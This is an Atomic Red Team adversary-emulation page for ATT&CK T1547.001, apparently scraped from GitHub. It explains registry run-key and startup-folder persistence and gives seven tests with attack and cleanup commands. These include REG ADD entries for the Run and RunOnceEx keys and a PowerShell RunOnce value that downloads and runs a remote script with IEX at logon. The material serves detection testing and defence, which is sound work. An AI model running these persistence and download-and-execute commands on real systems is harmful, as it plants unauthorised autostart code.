T1547.001 - Registry Run Keys / Startup Folder

Description from ATT&CK

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.
Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.

The following run keys are created by default on Windows systems:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)

The following Registry keys can be used to set startup folder items for persistence:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

The following Registry keys can control automatic startup of services during boot:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.

Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

Atomic Tests

Atomic Test #1 - Reg Key Run
Atomic Test #2 - Reg Key RunOnce
Atomic Test #3 - PowerShell Registry RunOnce
Atomic Test #4 - Suspicious vbs file run from startup Folder
Atomic Test #5 - Suspicious jse file run from startup Folder
Atomic Test #6 - Suspicious bat file run from startup Folder
Atomic Test #7 - Add Executable Shortcut Link to User Startup Folder

Atomic Test #1 - Reg Key Run

Run Key Persistence

Upon successful execution, cmd.exe will modify the registry by adding "Atomic Red Team" to the Run key. Output will be via stdout.

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
command_to_execute	Thing to Run	Path	C:\Path\AtomicRedTeam.exe

Attack Commands: Run with `command_prompt`!

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}"

Cleanup Commands:

REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /f >nul 2>&1

Atomic Test #2 - Reg Key RunOnce

RunOnce Key Persistence.

Upon successful execution, cmd.exe will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will be via stdout.

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
thing_to_execute	Thing to Run	Path	C:\Path\AtomicRedTeam.dll

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "#{thing_to_execute}"

Cleanup Commands:

REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f >nul 2>&1

Atomic Test #3 - PowerShell Registry RunOnce

RunOnce Key Persistence via PowerShell Upon successful execution, a new entry will be added to the runonce item in the registry.

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
thing_to_execute	Thing to Run	Path	powershell.exe
reg_key_path	Path to registry key to update	Path	HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

$RunOnceKey = "#{reg_key_path}"
set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/36f83b728bc26a49eacb0535edc42be8c377ac54/ARTifacts/Misc/Discovery.bat`")"'

Cleanup Commands:

Remove-ItemProperty -Path #{reg_key_path} -Name "NextRun" -Force -ErrorAction Ignore

Atomic Test #4 - Suspicious vbs file run from startup Folder

vbs files can be placed in and ran from the startup folder to maintain persistance. Upon execution, "T1547.001 Hello, World VBS!" will be displayed twice. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.

Supported Platforms: Windows

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Copy-Item $PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
Copy-Item $PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"
cscript.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
cscript.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"

Cleanup Commands:

Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" -ErrorAction Ignore
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" -ErrorAction Ignore

Atomic Test #5 - Suspicious jse file run from startup Folder

jse files can be placed in and ran from the startup folder to maintain persistance. Upon execution, "T1547.001 Hello, World JSE!" will be displayed twice. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.

Supported Platforms: Windows

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Copy-Item $PathToAtomicsFolder\T1547.001\src\jsestartup.jse "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
Copy-Item $PathToAtomicsFolder\T1547.001\src\jsestartup.jse "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"
cscript.exe /E:Jscript "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
cscript.exe /E:Jscript "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"

Cleanup Commands:

Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" -ErrorAction Ignore
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" -ErrorAction Ignore

Atomic Test #6 - Suspicious bat file run from startup Folder

bat files can be placed in and executed from the startup folder to maintain persistance. Upon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.

Supported Platforms: Windows

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Copy-Item $PathToAtomicsFolder\T1547.001\src\batstartup.bat "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
Copy-Item $PathToAtomicsFolder\T1547.001\src\batstartup.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"
Start-Process "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
Start-Process "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"

Cleanup Commands:

Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" -ErrorAction Ignore
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" -ErrorAction Ignore

Atomic Test #7 - Add Executable Shortcut Link to User Startup Folder

Adds a non-malicious executable shortcut link to the current users startup directory. Test can be verified by going to the users startup directory and checking if the shortcut link exists.

Supported Platforms: Windows

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

$Target = "C:\Windows\System32\calc.exe"
$ShortcutLocation = "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk"
$WScriptShell = New-Object -ComObject WScript.Shell
$Create = $WScriptShell.CreateShortcut($ShortcutLocation)
$Create.TargetPath = $Target
$Create.Save()

Cleanup Commands:

Remove-Item "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk" -ErrorAction Ignore

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

T1547.001.md

T1547.001.md

T1547.001 - Registry Run Keys / Startup Folder

Description from ATT&CK

Atomic Tests

Atomic Test #1 - Reg Key Run

Inputs:

Attack Commands: Run with `command_prompt`!

Cleanup Commands:

Atomic Test #2 - Reg Key RunOnce

Inputs:

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

Cleanup Commands:

Atomic Test #3 - PowerShell Registry RunOnce

Inputs:

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Cleanup Commands:

Atomic Test #4 - Suspicious vbs file run from startup Folder

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Cleanup Commands:

Atomic Test #5 - Suspicious jse file run from startup Folder

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Cleanup Commands:

Atomic Test #6 - Suspicious bat file run from startup Folder

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Cleanup Commands:

Atomic Test #7 - Add Executable Shortcut Link to User Startup Folder

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Cleanup Commands:

Files

T1547.001.md

Latest commit

History

T1547.001.md

File metadata and controls

T1547.001 - Registry Run Keys / Startup Folder

Description from ATT&CK

Atomic Tests

Atomic Test #1 - Reg Key Run

Inputs:

Attack Commands: Run with command_prompt!

Cleanup Commands:

Atomic Test #2 - Reg Key RunOnce

Inputs:

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

Cleanup Commands:

Atomic Test #3 - PowerShell Registry RunOnce

Inputs:

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Cleanup Commands:

Atomic Test #4 - Suspicious vbs file run from startup Folder

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Cleanup Commands:

Atomic Test #5 - Suspicious jse file run from startup Folder

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Cleanup Commands:

Atomic Test #6 - Suspicious bat file run from startup Folder

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Cleanup Commands:

Atomic Test #7 - Add Executable Shortcut Link to User Startup Folder

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Cleanup Commands:

Attack Commands: Run with `command_prompt`!

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)